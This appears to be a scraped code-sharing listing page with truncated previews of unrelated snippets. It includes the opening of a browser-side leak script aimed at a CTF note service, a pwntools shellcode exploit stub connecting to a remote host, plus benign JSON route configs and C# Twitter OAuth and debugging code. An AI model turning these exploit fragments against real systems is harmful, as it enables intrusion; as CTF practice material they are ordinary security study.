This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body></body> | |
<script> | |
// configurations | |
const url_base = "http://scratchpad.hackable.software:3000/notes?q="; | |
const possible_cspace = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!_{}?"; | |
// helpers | |
const split_space = (s) => { | |
return [s.slice(0, s.length / 2), s.slice(s.length / 2)]; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
from pwn import * | |
context.update(arch='amd64', os='linux') | |
host = '114.177.250.4' | |
port = 2210 | |
s = remote(host, port) | |
shellcode = asm(""" | |
mov rdi, [rax] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"location": "all", | |
"allow-method": [ | |
"GET" | |
] | |
}, | |
{ | |
"location": "/", | |
"allow-method": [ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"location":"all", | |
"allow-method":["GET"] | |
} | |
{ | |
"location":"/", | |
"allow-method":["GET"] | |
} | |
{ | |
"location":"/hoge", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void InitializeTwitterConnection() | |
{ | |
string accessToken = Properties.Settings.Default.accessToken; | |
string accessTokenSecret = Properties.Settings.Default.accessTokenSecret; | |
if (accessToken == "" || accessTokenSecret == "") | |
{ | |
OAuthTokenResponse req = | |
OAuthUtility.GetRequestToken(Twitter.Secret.consumer_key, Twitter.Secret.consumer_key_secret, "oob"); | |
System.Diagnostics.Process.Start(OAuthUtility.BuildAuthorizationUri(req.Token).ToString()); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private void debug(Expression exp, int indent) | |
{ | |
Expression seenow = exp; | |
string indentStr = ""; | |
for (int i = 0; i < indent; i++) indentStr += " "; | |
CanReadMessage.gotMessage(indentStr + "-TokenValue = " + seenow.rootToken.tokenValue + "(" + seenow.rootToken.t_type.ToString() + ")"); | |
if (seenow.rightToken != null) |